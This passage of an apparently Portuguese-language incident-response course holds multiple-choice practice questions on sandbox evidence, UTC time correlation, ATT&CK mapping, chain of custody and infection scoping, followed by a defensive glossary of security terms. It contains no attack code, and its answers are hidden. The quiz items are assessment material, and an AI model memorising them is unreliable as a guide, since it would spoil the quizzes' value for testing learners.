  2. Apenas X; o requisito de deslocamento e a alternativa permitida B são atendidos
  3. Apenas Y; interprete uma ou outra string como exigência de ambas simultaneamente
  4. Nenhuma; ignore a correspondência larga mesmo que a regra aceite a codificação
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 8 de 10

Uma execução de documento em ambiente isolado não tem o aplicativo necessário para processar as macros e não mostra processos filhos. O que deve acontecer em seguida?
  1. Encerrar como benigno porque não apareceram processos filhos
  2. Classificar como evasão apenas pela ausência do aplicativo
  3. Executar novamente com o aplicativo necessário e registrar a configuração
  4. Repetir perfis inalterados e calcular a média das pontuações de conclusão
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 9 de 10

Um ambiente isolado de análise informa um executável depositado e uma entrada Run. Ele também lista uma conexão de verificação de certificado do sistema operacional que uma execução de linha de base limpa reproduz. Como esses achados devem orientar pesquisas na produção?
  1. Bloquear todos os IPs do relatório como comunicação causada pela amostra
  2. Pesquisar a carga útil e a entrada Run; excluir a conexão da linha de base
  3. Pesquisar apenas o hash; aprovar o nome Run familiar
  4. Pesquisar apenas o domínio; descartar os artefatos conflitantes do host
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 10 de 10

A inspeção estática revela um longo atraso e uma URL de download. Uma execução curta em ambiente isolado termina antes de o atraso acabar; uma execução mais longa alcança a URL, mas os serviços de rede simulados não têm o recurso solicitado. O que está sustentado pelas evidências e o que deve ser testado em seguida?
  1. Contar a tentativa de obtenção como execução bem-sucedida da carga útil
  2. Prolongar novamente a execução sem resolver a ausência do recurso
  3. Aprovar a etapa dependente da rede com base na inatividade atual
  4. Registrar a tentativa; testar etapas posteriores com uma resposta controlada ao pedido do recurso
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Conjunto 5: Concilie as evidências e transfira o caso10 Questões de Prática

Salve esta aula para ver todas as respostas e praticar cada conjunto.

Questão 1 de 10

Um console de endpoint mostra 16:18:40 em UTC+4. Qual é o horário UTC correspondente?
  1. 20:18:40 UTC
  2. 12:18:40 UTC
  3. 16:18:40 UTC
  4. 04:18:40 UTC
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 2 de 10

Um envio registrado pelo firewall tem a marca temporal 13:06 UTC. O EDR mostra um processo iniciando às 15:04 em UTC+2, mas sabe-se que o relógio do EDR está dois minutos atrasado. O DHCP mostra que o endereço pertencia ao Host B até 13:05 UTC e depois ao Host C. Qual combinação de host e horário deve fundamentar a correlação posterior?
  1. Host B às 13:04 UTC, com a diferença de fuso sem correção do relógio
  2. Host C às 13:02 UTC, subtraindo as diferenças de fuso e de relógio
  3. Host C às 13:06 UTC, com o horário corrigido do processo também às 13:06 UTC
  4. Host B às 15:06 UTC, somando dois minutos sem normalizar o fuso
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 3 de 10

Evidências de e-mail vinculam um anexo malicioso a uma cadeia Word/PowerShell e a uma entrada Run no Host D. Mais tarde, 1,8 GB saem para o mesmo IP compartilhado. O EDR atribui esse envio ao agente de cópia de segurança aprovado, que usa o serviço documentado desse agente. Como a linha do tempo deve tratar o envio?
  1. Mantê-lo como evento de cópia de segurança explicado, separado da cadeia de infecção confirmada
  2. Associá-lo como exfiltração confirmada porque o IP de destino corresponde ao do programa de download
  3. Remover o achado de infecção porque um evento tem explicação legítima
  4. Associá-lo como C2 por web porque softwares de cópia de segurança normalmente usam destino criptografado
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 4 de 10

Um ambiente isolado de análise mostra PowerShell e uma entrada Run, mas nenhuma evidência explica como a amostra chegou ao usuário. Quais mapeamentos do ATT&CK são sustentados pelas evidências?
  1. Entrega por phishing e execução de PowerShell
  2. Entrega por phishing e exfiltração por C2
  3. Persistência por chave Run e movimentação lateral confirmada
  4. Execução de PowerShell e persistência por chave Run
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 5 de 10

Uma regra detecta PowerShell codificado. O alerta corresponde a um script de implantação comprovadamente aprovado, iniciado pelo agente de implantação. Como a detecção deve ser classificada?
  1. Um achado falso positivo
  2. Um achado falso negativo
  3. Um verdadeiro positivo benigno
  4. Um achado inconclusivo
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 6 de 10

Um analista encerra um alerta de processo malicioso como “atualizador esperado” porque o nome da tarefa é familiar. O alvo não tem assinatura, está em uma pasta pública, foi criado após a execução de um documento suspeito e não há registro de implantação. Qual é a decisão adequada?
  1. Mantê-lo encerrado porque o nome da tarefa comprova o publicador
  2. Reabri-lo e investigar alvo, horários e autorização
  3. Mantê-lo encerrado porque pastas públicas são caminhos aprovados para atualizadores
  4. Excluir o nome da tarefa da regra porque código sem assinatura explica o alerta
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 7 de 10

Um responsável pela resposta recebe uma captura coletada e o SHA-256 dela, mas nenhum histórico de coleta ou transferência. Qual registro de preservação de evidências está faltando?
  1. Quem coletou e manuseou a captura e os horários das transferências
  2. A consulta que produziu os alertas a partir da captura
  3. Os valores SHA-256 dos arquivos exportados da captura
  4. Os nomes de hosts derivados dos pares de endereços capturados
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 8 de 10

Uma infecção por documento é confirmada em um servidor de alto valor. Um grande envio ainda não foi atribuído a um responsável, e o agente continua operacional. O roteiro de resposta exige isolamento e coleta para triagem. Qual transferência de atendimento e ação são compatíveis com esses fatos?
  1. Coletar e isolar, mas adiar o escalonamento até que o envio prove perda de dados
  2. Encaminhar a infecção e o roubo de dados como confirmados e depois isolar o host
  3. Encaminhar a infecção, desligar o host agora e coletar a memória do processo depois
  4. Fazer o escalonamento e seguir as etapas de coleta e isolamento; manter a atribuição do envio em aberto
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 9 de 10

Registros não amostrados de uma conexão mostram o Host E enviando 240 MB de 10:00–10:04 e 360 MB de 10:04–10:10; registros no sentido inverso abrangem os mesmos dez minutos, com 6 MB no total. A taxa normal de saída do host é 0,5 MB/s. Um amostrador independente de pacotes não tem amostra correspondente. Como a taxa de saída e o achado devem ser interpretados?
  1. O Host E enviou a 1 MB/s, o dobro da linha de base; a ausência de amostra deixa a finalidade sem esclarecimento
  2. O Host E enviou a 0,5 MB/s, igual à linha de base; some as durações dos dois sentidos e encerre o alerta
  3. O Host E enviou a 1 MB/s, o dobro da linha de base; a ausência de amostra comprova roubo de dados
  4. O Host E enviou a 0 MB/s; descarte os registros não amostrados porque nenhum pacote amostrado os sustenta
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Questão 10 de 10

Um ambiente isolado de análise mostra um programa de download acessando um domínio e criando uma entrada Run característica. O DNS de produção registra o domínio em seis hosts, mas o EDR confirma o hash do arquivo depositado e o alvo da entrada Run em apenas dois; os outros quatro não têm histórico de endpoint. Qual afirmação sobre o escopo é justificada?
  1. Seis hosts têm infecção confirmada, pois uma consulta DNS comum comprova a execução da carga útil em cada um
  2. Apenas dois hosts foram expostos, pois eventos ausentes no EDR invalidam as outras quatro observações de DNS
  3. Dois hosts têm artefatos correspondentes confirmados; seis têm pistas de DNS, e quatro precisam de mais evidências
  4. A infecção no ambiente isolado não está confirmada, pois foram encontrados artefatos de produção em menos de seis hosts
Mostrar respostaOcultar resposta

Salve esta aula para ver esta resposta.

Travou em uma questão sua? Ajuda com Tarefas

Termos-Chave

103 Termos-Chave, cada um com sua definição

A

Adulteração de marcas temporais de arquivos (timestomping)
A adulteração de marcas temporais de arquivos altera marcas temporais para disfarçar quando um artefato apareceu ou foi usado, fazendo atividade recente parecer mais antiga.
Um arquivo exibe uma data de criação antiga, mas um evento de alteração de marca temporal do Sysmon ocorre durante a intrusão.
Algoritmo de geração de domínios
Um algoritmo de geração de domínios cria muitos nomes candidatos que um malware pode tentar até encontrar uma infraestrutura disponível do atacante.
Uma longa sequência de consultas NXDOMAIN com nomes aparentemente aleatórios precede a primeira conexão bem-sucedida.
Alinhamento de domínios
O alinhamento de domínios é a relação exigida entre um domínio de e-mail autenticado e o domínio From visível em uma verificação DMARC.
O alinhamento flexível aceita subdomínios do mesmo domínio organizacional; o modo estrito exige uma correspondência exata.
Ambiente isolado de análise (sandbox)
Um ambiente isolado de análise é um ambiente isolado e instrumentado que executa uma amostra e registra as ações dela em condições controladas.
O relatório vincula a execução de um documento a um programa baixado e a uma nova entrada de inicialização automática.
Amostragem
A amostragem observa uma fração selecionada dos pacotes, permitindo estimativas de tráfego, mas deixando alguns eventos curtos sem observação.
Um pacote amostrado a cada mil fornece uma estimativa ampla de volume, mas pode deixar passar uma conexão breve.
Análise estática
A análise estática examina um arquivo sem executá-lo, usando o tipo, o conteúdo legível e a estrutura para identificar pistas de investigação.
O analista extrai texto de macros e strings de rede antes de escolher o que um ambiente isolado de análise deve observar.
Assinatura de eventos WMI
Uma assinatura de eventos WMI vincula um filtro de evento a uma ação de consumidor, permitindo execução automatizada quando o evento escolhido ocorre.
O analista associa registros de filtro, consumidor e vinculação do Sysmon para reconstruir o gatilho persistente.
Authentication-Results
Um cabeçalho Authentication-Results registra os resultados de autenticação de um sistema de recebimento, que são úteis apenas dentro do limite de confiança desse sistema.
O analista ignora uma cópia fornecida pelo remetente e lê o resultado adicionado pelo gateway da organização.

Á

Árvore de processos
Uma árvore de processos mostra relações entre processos pais e filhos, ajudando a rastrear qual aplicação iniciou ações posteriores.
O Word inicia um shell, que inicia o PowerShell e, depois, um executável recém-gravado.

B

Binário legítimo do sistema usado em ataques (LOLBin)
Um binário legítimo do sistema usado em ataques é um programa legítimo do sistema que um atacante usa indevidamente para ações como baixar ou executar código.
Os argumentos do utilitário assinado mostram um download remoto que a aplicação pai não tinha motivo para solicitar.
Buffer circular
Um buffer circular armazena dados de captura em um conjunto rotativo e limitado de arquivos, substituindo os dados mais antigos quando o espaço é reutilizado.
A equipe exporta o intervalo do incidente antes que o tráfego contínuo sobrescreva essa parte do buffer.

C

Cabeçalho From
O cabeçalho From contém o endereço de remetente visível de uma mensagem e fornece o domínio usado como referência na verificação de alinhamento DMARC.
O analista compara o domínio visível com os domínios que passaram no SPF e no DKIM.
Cabeçalho Host do HTTP
O cabeçalho Host do HTTP identifica o host pretendido em uma requisição HTTP e ajuda a distinguir domínios que compartilham um endereço IP.
O analista lê o Host no fluxo em texto claro antes de vincular uma conexão IP ao domínio de phishing.
Cabeçalho Received
Um cabeçalho Received registra um salto no tratamento de e-mail e é acrescentado no topo pelo servidor de recebimento, colocando saltos mais recentes acima dos mais antigos.
A entrada do gateway confiável fornece o IP de conexão mesmo quando saltos declarados abaixo foram falsificados.
Cadeia de custódia
Uma cadeia de custódia registra quem coletou, manuseou ou transferiu evidências e quando, documentando o tratamento desde a coleta.
Uma entrada de transferência e o SHA-256 registrado do arquivo permitem que um responsável pela resposta verifique o item recebido.
Captura de pacotes
Uma captura de pacotes armazena os cabeçalhos e a carga útil capturada dos pacotes observados em um sensor, permitindo a análise detalhada de uma troca.
Um analista obtém a captura do minuto em que uma estação de trabalho contatou pela primeira vez um servidor suspeito.
Chave Run
Uma chave Run é um local de inicialização automática no registro do Windows que inicia programas configurados no logon, no escopo de usuário ou de máquina.
O novo valor Run do usuário aponta para um programa sem assinatura criado logo após a execução de um documento.
Chaves autorizadas (authorized_keys)
Um arquivo authorized_keys lista chaves públicas SSH autorizadas a autenticar uma conta, criando acesso independente da senha dessa conta.
Uma nova chave sem explicação é preservada antes da remoção porque uma redefinição de senha deixaria essa via aberta.
Client Hello criptografado (Encrypted Client Hello)
O Client Hello criptografado, ou ECH, protege informações do Client Hello, como o nome real do servidor solicitado, contra observadores passivos.
A captura de pacotes ainda contém horários e tamanhos mesmo quando o nome pretendido está oculto pelo ECH.
Codificação percentual
A codificação percentual representa um caractere com um sinal de porcentagem e dígitos hexadecimais, muitas vezes ocultando a estrutura de uma URL dentro de parâmetros.
Decodificar %3A e %2F torna a URL incorporada legível sem acessar o destino.
Comprometimento de e-mail corporativo
O comprometimento de e-mail corporativo é uma fraude por e-mail baseada em falsificação de identidade que busca pagamentos, informações sensíveis ou alterações em instruções de negócio.
Uma mensagem autenticada de fornecedor solicita uma nova conta bancária sem conter link nem anexo.
Comunicação recorrente de comando e controle (beaconing)
A comunicação recorrente de comando e controle é a comunicação repetida de malware com um servidor de comando e controle, frequentemente usando um temporizador e pequenas trocas semelhantes.
Conexões regulares levam à verificação do destino e do processo antes de a equipe classificá-las como C2.
Confiança
A confiança expressa a força com que as evidências disponíveis sustentam um achado, com os motivos para o nível declarado: alto, médio ou baixo.
A ausência de histórico de endpoint reduz a confiança em uma relação proposta mesmo quando o destino parece suspeito.
Correlação
A correlação reúne evidências por campos compartilhados e relações temporais para que observações de fontes diferentes possam ser verificadas em conjunto.
O analista vincula o hash de um anexo de e-mail ao arquivo aberto por uma instância específica de processo.

D

Detecção e resposta em endpoints (EDR)
A detecção e resposta em endpoints registra atividades do host, detecta comportamentos suspeitos e fornece ações remotas de investigação e resposta.
Um alerta de processo leva à linha do tempo do host, ao arquivo depositado e à conexão de saída do programa.
Detecção e resposta estendidas (XDR)
A detecção e resposta estendidas correlaciona evidências de endpoints com fontes como telemetria de rede, e-mail, identidade e nuvem.
A plataforma reúne um alerta de e-mail e os eventos de execução do host do destinatário na mesma investigação.
Determinação do escopo da campanha
A determinação do escopo da campanha identifica o alcance de uma campanha de mensagens suspeitas ao encontrar destinatários, interações e atividades posteriores de conta ou host.
Um e-mail denunciado leva a uma lista de cópias entregues, pessoas que acessaram o link e contas afetadas.
Detonação
A detonação executa uma amostra suspeita em um ambiente controlado de análise para observar o comportamento produzido durante essa execução.
O analista registra o sistema operacional, o suporte a aplicativos e a duração junto ao relatório de detonação.
Diferença em relação ao relógio de referência (clock offset)
Uma diferença em relação ao relógio de referência é a diferença entre o relógio de uma fonte e o horário de referência, exigindo correção além da conversão de fuso horário.
As anotações do caso registram que um sensor está dois minutos atrasado para que os eventos possam ser alinhados com precisão.
Disfarce de processos ou arquivos (masquerading)
O disfarce de processos ou arquivos faz um processo ou arquivo parecer confiável por meio de nome, local ou outros atributos visíveis enganosos.
Um nome de processo semelhante ao do sistema aponta para um executável em uma pasta pública gravável por usuários.
Dispositivo de cópia passiva de tráfego de rede (TAP)
Um dispositivo de cópia passiva de tráfego de rede (TAP) é um dispositivo passivo que copia o tráfego de um enlace para equipamentos de monitoramento, que precisam ter capacidade para os sentidos copiados.
O sensor usa entradas de recebimento separadas para que o tráfego simultâneo nos dois sentidos caiba na capacidade do sistema de captura.
Dispositivo não autorizado
Um dispositivo não autorizado é um equipamento conectado a uma rede sem autorização, independentemente de o tráfego atual ser malicioso.
Uma concessão DHCP desconhecida é comparada com os registros de ativos e a lista de cadastro de dispositivos aprovados.
DKIM
O DKIM verifica a assinatura digital de um domínio sobre cabeçalhos selecionados e conteúdo do corpo da mensagem, usando uma chave pública publicada no DNS.
Uma mensagem pode manter uma assinatura DKIM válida após o encaminhamento se o conteúdo assinado permanecer inalterado.
DMARC
O DMARC verifica o alinhamento de uma identidade SPF ou DKIM aprovada com o domínio From visível e publica o tratamento solicitado para falhas.
Uma aprovação para um domínio signatário sem relação não pode autenticar o From visível pelo DMARC.
DNS passivo
O DNS passivo registra mapeamentos observados de domínios para endereços ao longo do tempo, ajudando a investigar o uso anterior de nomes e infraestrutura.
Mapeamentos históricos ajudam a determinar se um domínio usou o IP suspeito durante a janela do incidente.

E

Empacotador de executáveis (packer)
Um empacotador de executáveis transforma um programa por compactação ou criptografia e restaura código utilizável durante a execução, dificultando a inspeção estática.
Poucas strings, nomes de seção UPX e importações escassas levam o analista a examinar o comportamento em um ambiente isolado de análise.
EncodedCommand
EncodedCommand é uma opção do PowerShell que recebe um comando representado como texto UTF-16LE codificado em Base64.
Após a decodificação Base64, o analista interpreta os bytes como UTF-16LE para ler o script.
Entropia
A entropia mede a incerteza dos valores de bytes, até 8 bits por byte, com valores altos frequentemente observados em dados compactados ou criptografados.
Um instalador com alta entropia ainda precisa de contexto porque a compactação comum pode produzir o mesmo indício.
Estabelecimento de conexão TCP (handshake TCP)
O estabelecimento de conexão TCP é a troca SYN, SYN-ACK e ACK que estabelece uma conexão e revela quem a iniciou.
Um cliente com porta alta envia o primeiro SYN; o serviço responde com endereços e portas invertidos.
Estado da conexão
Um estado da conexão resume como uma troca observada ocorreu, por exemplo, uma tentativa sem resposta ou uma sessão TCP encerrada normalmente.
Muitas entradas S0 e REJ de uma origem ajudam a explicar por que uma varredura gerou poucos dados de aplicação.
Estado operacional do sensor
O estado operacional do sensor descreve se um agente de endpoint está instalado, ativo, enviando informações e configurado para coletar a telemetria relevante.
A equipe verifica o último envio de informações do agente antes de interpretar o histórico vazio de eventos do host.
Evasão de ambiente isolado de análise
A evasão de ambiente isolado de análise atrasa ou altera o comportamento malicioso quando uma amostra detecta condições de análise ou não encontra o ambiente esperado.
Uma execução curta e inativa é repetida com interação do usuário para testar se a amostra estava esperando cliques.
Execução sem arquivo
A execução sem arquivo executa código sem exigir que esse código seja salvo como um arquivo executável convencional em disco.
Um encadeamento de download passa o texto de um script diretamente para execução no PowerShell, deixando evidências de processo.
Expressão regular
Uma expressão regular descreve um padrão de texto para pesquisa ou extração, e os resultados correspondentes ainda precisam de validação semântica.
Um padrão de texto semelhante a IPv4 encontra candidatos que depois são verificados quanto à validade dos octetos de endereço.

F

Falso negativo
Um falso negativo é uma atividade maliciosa para a qual uma detecção não gerou alerta, descoberta por outra fonte ou investigação posterior.
Evidências retrospectivas de endpoint revelam uma execução que as regras de alerta originais não detectaram.
Falso positivo
Um falso positivo é um alerta sobre atividade fora do que a detecção pretendia identificar, criando uma correspondência incorreta.
Uma regra destinada a uma exploração específica dispara para conteúdo comum que corresponde acidentalmente ao padrão da regra.
Filtro de captura
Um filtro de captura seleciona pacotes antes de serem salvos, usando a sintaxe BPF no tcpdump e nas configurações de captura do Wireshark.
O analista captura amplamente o tráfego de um host para evitar o descarte de um segundo canal de comunicação inesperado.
Filtro de exibição
Um filtro de exibição seleciona quais pacotes salvos o Wireshark mostra sem excluir os pacotes ocultos da visualização atual.
A remoção do filtro de exibição DNS traz os outros protocolos capturados de volta à lista de pacotes.

G

Geolocalização por IP (GeoIP)
A geolocalização por IP (GeoIP) estima a localização geográfica associada a um endereço IP, geralmente descrevendo a infraestrutura, e não um usuário identificado.
A cidade informada para um endpoint de nuvem é mantida separada de qualquer afirmação sobre a localização do atacante.
Gerenciamento de dispositivos móveis (MDM)
O gerenciamento de dispositivos móveis cadastra e gerencia dispositivos móveis por meio de políticas, inventário, verificações de conformidade e ações remotas no dispositivo.
Um inventário de aplicativos mostra um aplicativo de acesso remoto não aprovado em um tablet gerenciado.

H

Hash de importações (imphash)
Um hash de importações é derivado das funções importadas por um executável do Windows e usado para ajudar a agrupar programas com importações semelhantes.
O agrupamento baseado em importações fornece uma pista para comparar amostras de executáveis relacionadas.
Hash de similaridade (fuzzy hash)
Um hash de similaridade permite comparar a semelhança entre arquivos, ajudando a agrupar amostras relacionadas mesmo quando os hashes exatos são diferentes.
Duas cargas úteis alteradas são comparadas por similaridade após pesquisas de hash exato não conseguirem vinculá-las.
Homoglifo
Um homoglifo é um caractere que se parece com outro, permitindo que um domínio se assemelhe a um nome confiável apesar de ter um texto diferente.
O punycode revela que um domínio semelhante começa com um caractere cirílico em vez da letra latina.

I

Identificador de conexão do Zeek (uid)
Um identificador de conexão do Zeek (uid) é um identificador usado para vincular registros da mesma troca nos registros de conexões e de protocolos do Zeek.
Um pivoteamento por uid reúne uma requisição HTTP com a duração e as contagens de bytes da conexão.
Identificador globalmente exclusivo de processo (GUID)
Um identificador globalmente exclusivo de processo (GUID) identifica uma instância de processo de forma exclusiva, mantendo os eventos vinculados mesmo quando um sistema operacional reutiliza um PID numérico.
Dois processos com o mesmo PID em dias diferentes permanecem separados nas evidências do Sysmon.
Impressão digital TLS
Uma impressão digital TLS resume características do estabelecimento de conexão para ajudar a agrupar clientes com configurações e implementações de protocolo semelhantes.
A mesma impressão digital em vários hosts torna-se uma pista para comparar os processos responsáveis.
Indicação de nome do servidor (SNI)
A indicação de nome do servidor, ou SNI, identifica um nome de servidor solicitado em um Client Hello do TLS quando esse nome não está protegido por ECH.
Um nome de servidor visível ajuda a relacionar uma sessão TLS a um domínio retornado anteriormente nos registros DNS.
Indicador de comprometimento
Um indicador de comprometimento é um valor ou artefato observável usado para investigar uma possível atividade de intrusão e localizar evidências relacionadas.
O hash de um anexo de e-mail e o caminho de uma URL tornam-se pesquisas separadas no gateway de e-mail e nos registros de endpoints.
IPFIX
O IPFIX é um padrão da IETF para exportar informações de fluxo de rede usando modelos que descrevem os campos de cada registro.
Um coletor lê os modelos do exportador antes de interpretar os endereços e contadores de bytes nos novos registros.

L

LaunchAgent e LaunchDaemon
LaunchAgents e LaunchDaemons são itens de inicialização do macOS configurados por arquivos de lista de propriedades para executar programas em contextos de usuário ou de sistema.
Um novo item de inicialização aponta para um executável inesperado, por isso o gatilho e o alvo são preservados para análise.
Linha de base de tráfego
Uma linha de base de tráfego descreve a comunicação normal de um host ou função, incluindo destinos, volumes e padrões diários habituais.
Os envios noturnos de um servidor de cópia de segurança são comparados com a programação desse servidor, não com o volume de um computador de mesa.

M

Marca da Web (Mark of the Web)
A Marca da Web é um metadado de origem do Windows, frequentemente armazenado em Zone.Identifier, que pode identificar conteúdo obtido da internet.
O fluxo alternativo preservado de um anexo salvo contém uma URL que vincula o arquivo à origem do download.
Message-ID
Um Message-ID é um identificador atribuído a uma mensagem pelo sistema de envio, útil para localizar registros de e-mail relacionados.
O analista inclui o Message-ID original na consulta do caso para obter eventos de entrega.
MITRE ATT&CK
O MITRE ATT&CK descreve táticas e técnicas de adversários para classificar comportamentos observados, sem prescrever uma sequência fixa de ataque.
O artefato de chave Run sustenta um mapeamento de persistência, enquanto a entrega por phishing precisa de evidências separadas de e-mail.

N

Neutralização de indicadores para exibição segura (defanging)
A neutralização de indicadores para exibição segura altera o texto de um indicador, por exemplo, substituindo https por hxxps, para reduzir o acesso acidental quando ele é compartilhado.
Um chamado usa uma URL neutralizada, enquanto a mensagem original permanece disponível no armazenamento de evidências.
Número mágico
Um número mágico é um padrão reconhecível de bytes usado para identificar um formato de arquivo, muitas vezes próximo ao início do arquivo.
Os bytes iniciais MZ contradizem o nome de um anexo com aparência de documento e levam a verificações da estrutura de executável.
NXDOMAIN
NXDOMAIN é um código de resposta DNS que indica que o nome de domínio consultado não existe, diferente de um tempo limite de conexão.
Falhas repetidas para muitos nomes que parecem gerados levam o analista a examinar o processo que fez as consultas.

O

Objeto de exclusão mútua (mutex)
Um objeto de exclusão mútua (mutex) é um objeto de sincronização que permite a uma thread por vez acessar um recurso compartilhado; softwares legítimos também usam mutexes.
O nome característico do mutex de uma amostra torna-se uma pista de pesquisa após ser vinculado à carga útil observada.

P

Persistência
A persistência mantém ou restaura o acesso do atacante por meio de mecanismos que sobrevivem a interrupções como logoff ou reinicialização do sistema.
Uma entrada Run e uma tarefa agendada apontam para a carga útil, fornecendo gatilhos separados para reiniciá-la.
Phishing
Phishing é uma mensagem fraudulenta que tenta provocar uma ação prejudicial, como revelar credenciais, enviar dinheiro ou executar conteúdo.
Uma mensagem pressiona um usuário a contornar o procedimento normal de aprovação antes de um suposto encerramento de conta.
Phishing direcionado (spear phishing)
O phishing direcionado tem como alvo pessoas ou grupos selecionados e usa detalhes escolhidos para tornar a solicitação relevante e convincente para esses destinatários.
Um atacante menciona um projeto real ao pedir que o contato financeiro desse projeto abra um documento.
Pirâmide da Dor
A Pirâmide da Dor ordena tipos de indicadores pelo esforço que os atacantes enfrentam para alterá-los, desde hashes exatos até ferramentas e técnicas.
A equipe de detecção registra um padrão de processo e persistência, além do hash atual da carga útil.
Porta de espelhamento de tráfego (SPAN)
Uma porta de espelhamento de tráfego (SPAN) é uma porta de switch configurada para receber cópias de tráfego de rede selecionado para monitoramento e captura de pacotes.
Um destino de espelhamento movimentado descarta cópias quando o tráfego das VLANs selecionadas ultrapassa a capacidade de saída.
Preparação de dados para transferência
A preparação de dados para transferência coleta e prepara dados para uma transferência posterior, muitas vezes reunindo arquivos em arquivos compactados ou dividindo-os em partes.
Novas partes de arquivos compactados aparecem em uma pasta temporária pouco antes de uma grande conexão de saída.
Prevalência
A prevalência mede quão amplamente um arquivo ou indicador observado aparece em um ambiente, acrescentando contexto à atividade local.
Um hash visto em uma estação de trabalho é comparado com o software presente em toda a imagem aprovada das estações de trabalho.
Protocolo de acesso a dados de registro (RDAP)
O protocolo de acesso a dados de registro (RDAP) fornece informações estruturadas de registro de domínio e é a fonte oficial para domínios genéricos de nível superior.
Uma consulta fornece o registrador e a data recente de criação, embora os dados do proprietário estejam ocultos.

R

Ransomware
Ransomware é um software malicioso que impede o acesso a dados ou sistemas, geralmente por criptografia, e exige um pagamento.
A exclusão de cópias de segurança seguida de renomeação de arquivos em massa e mensagens de exigência de resgate provoca o escalonamento urgente do incidente.
Registro abusivo de domínios com erros de digitação ou grafia semelhante (typosquatting)
O registro abusivo de domínios com erros de digitação ou grafia semelhante consiste em registrar um domínio com erro de grafia ou visualmente parecido para se passar por outra organização ou aproveitar erros de digitação.
O analista identifica um algarismo no lugar de uma letra no domínio do suposto fornecedor.
Registro de fluxo de rede
Um registro de fluxo de rede resume pacotes que compartilham uma chave de rede ao longo do tempo, mantendo contagens de tráfego e metadados sem a carga útil.
O histórico de fluxo de longo prazo mostra se o destino de um alerta era novo para a estação de trabalho antes desse alerta.
Regra de sistema de detecção de intrusão (IDS)
Uma regra de sistema de detecção de intrusão (IDS) especifica condições de tráfego que produzem uma detecção, incluindo protocolo, direção e verificações opcionais de conteúdo ou fluxo.
O analista lê a condição de fluxo estabelecido de um alerta antes de decidir o que significa a correspondência de porta.
Remetente do envelope
O remetente do envelope é o endereço de retorno SMTP usado para falhas de entrega, normalmente registrado pelo destinatário em Return-Path.
Um serviço de envio de mensagens usa o próprio domínio de envelope enquanto exibe o endereço From do cliente.
Remontagem de fluxo TCP
A remontagem de fluxo TCP reconstrói bytes de aplicação de uma conversação TCP para que um analista possa ler uma troca em sequência.
Acompanhar um fluxo revela uma resposta executável por trás de uma requisição cuja URL termina em um sufixo de página web.
Reputação
A reputação resume observações ou relatos anteriores sobre um objeto, como um arquivo ou IP, e precisa ser interpretada com datas e contexto local.
Uma baixa contagem de detecções é verificada em relação à primeira aparição da amostra e ao comportamento registrado.

S

Sequestro de conversa de e-mail
O sequestro de conversa de e-mail insere uma mensagem do atacante em uma conversa existente para explorar o contexto e a confiança dos participantes.
Uma solicitação para redirecionar uma fatura chega dentro de uma troca verdadeira com uma caixa postal de fornecedor comprometida.
SHA-256
O SHA-256 é uma função hash criptográfica que produz um valor de 256 bits, escrito com 64 caracteres hexadecimais, para identificar o conteúdo de arquivos.
O analista calcula o hash de uma amostra exportada e registra o valor junto aos detalhes de coleta.
Shell web
Um shell web é um código no lado do servidor controlado por um atacante que fornece execução de comandos ou acesso remoto por meio de um servidor web.
Um processo de trabalho web que inicia um shell de comando leva à análise de arquivos do servidor alterados recentemente.
Sistema de nomes de domínio (DNS)
O sistema de nomes de domínio, ou DNS, fornece registros associados a nomes, incluindo endereços, servidores de e-mail, nomes alternativos e texto.
Uma resposta A fornece um endereço IPv4 que pode ser comparado com a conexão posterior de uma estação de trabalho.
SPF
O SPF é um método de autenticação de e-mail que compara o IP de um servidor de envio com os remetentes autorizados para o domínio do envelope.
Um e-mail encaminhado por um servidor intermediário não listado pode falhar no SPF mesmo quando a mensagem original era legítima.

T

Tabela de importações do formato PE
Uma tabela de importações do formato PE lista funções que um executável do Windows solicita a bibliotecas, fornecendo pistas sobre possíveis capacidades.
Importações de memória remota e criação de threads sugerem uma capacidade de injeção que vale a pena testar dinamicamente.
Tarefa agendada
Uma tarefa agendada configura um programa para ser executado em um horário, intervalo ou evento, fornecendo tanto automação legítima quanto uma via de persistência.
Uma tarefa de atualizador com nome aparentemente confiável inicia um executável armazenado em uma pasta pública.
Tarefa do cron
Uma tarefa do cron é um comando agendado em sistemas semelhantes ao Unix, que usa campos de tempo para especificar quando um usuário ou sistema deve executá-lo.
Uma tarefa de usuário sem explicação baixa e executa um script a cada dez minutos, criando uma via de execução repetida.
Tempo Universal Coordenado (UTC)
O Tempo Universal Coordenado, ou UTC, fornece a referência de tempo comum usada para comparar eventos registrados em fusos locais diferentes.
Uma exportação registrada em UTC+2 é convertida antes de o início do processo ser comparado com um evento de firewall.
Tradução de endereços de rede (NAT)
A tradução de endereços de rede, ou NAT, reescreve informações de endereço entre redes e pode ocultar as identidades de hosts internos de um sensor externo.
Um registro de tradução do firewall vincula uma conexão de origem pública à estação de trabalho que a iniciou.
Tunelamento DNS
O tunelamento DNS transporta dados por mensagens DNS, muitas vezes em rótulos de consulta codificados que dividem uma transferência maior entre requisições.
Um host envia muitos subdomínios longos e únicos sob um mesmo domínio pai durante um período de envio incomum.

U

Unidade do systemd
Uma unidade do systemd é um objeto de configuração para gerenciar recursos do Linux, como serviços, com arquivos de unidade que definem como um serviço inicia.
O analista compara o programa e as configurações de inicialização de um novo arquivo de unidade com a linha de base aprovada do servidor.

V

Variação dos intervalos de comunicação (jitter)
A variação dos intervalos de comunicação é uma variação acrescentada a intervalos repetidos de comunicação, que pode tornar menos regular um padrão de contatos automatizados.
Uma sequência centrada em cerca de cinco minutos ainda parece automatizada, mesmo quando cada intervalo difere ligeiramente.
Varredura horizontal
Uma varredura horizontal testa a mesma porta de serviço em vários hosts alvo para identificar sistemas que oferecem esse serviço.
Um analista verifica a autorização quando uma estação de trabalho contata a porta 445 em muitas outras.
Varredura vertical
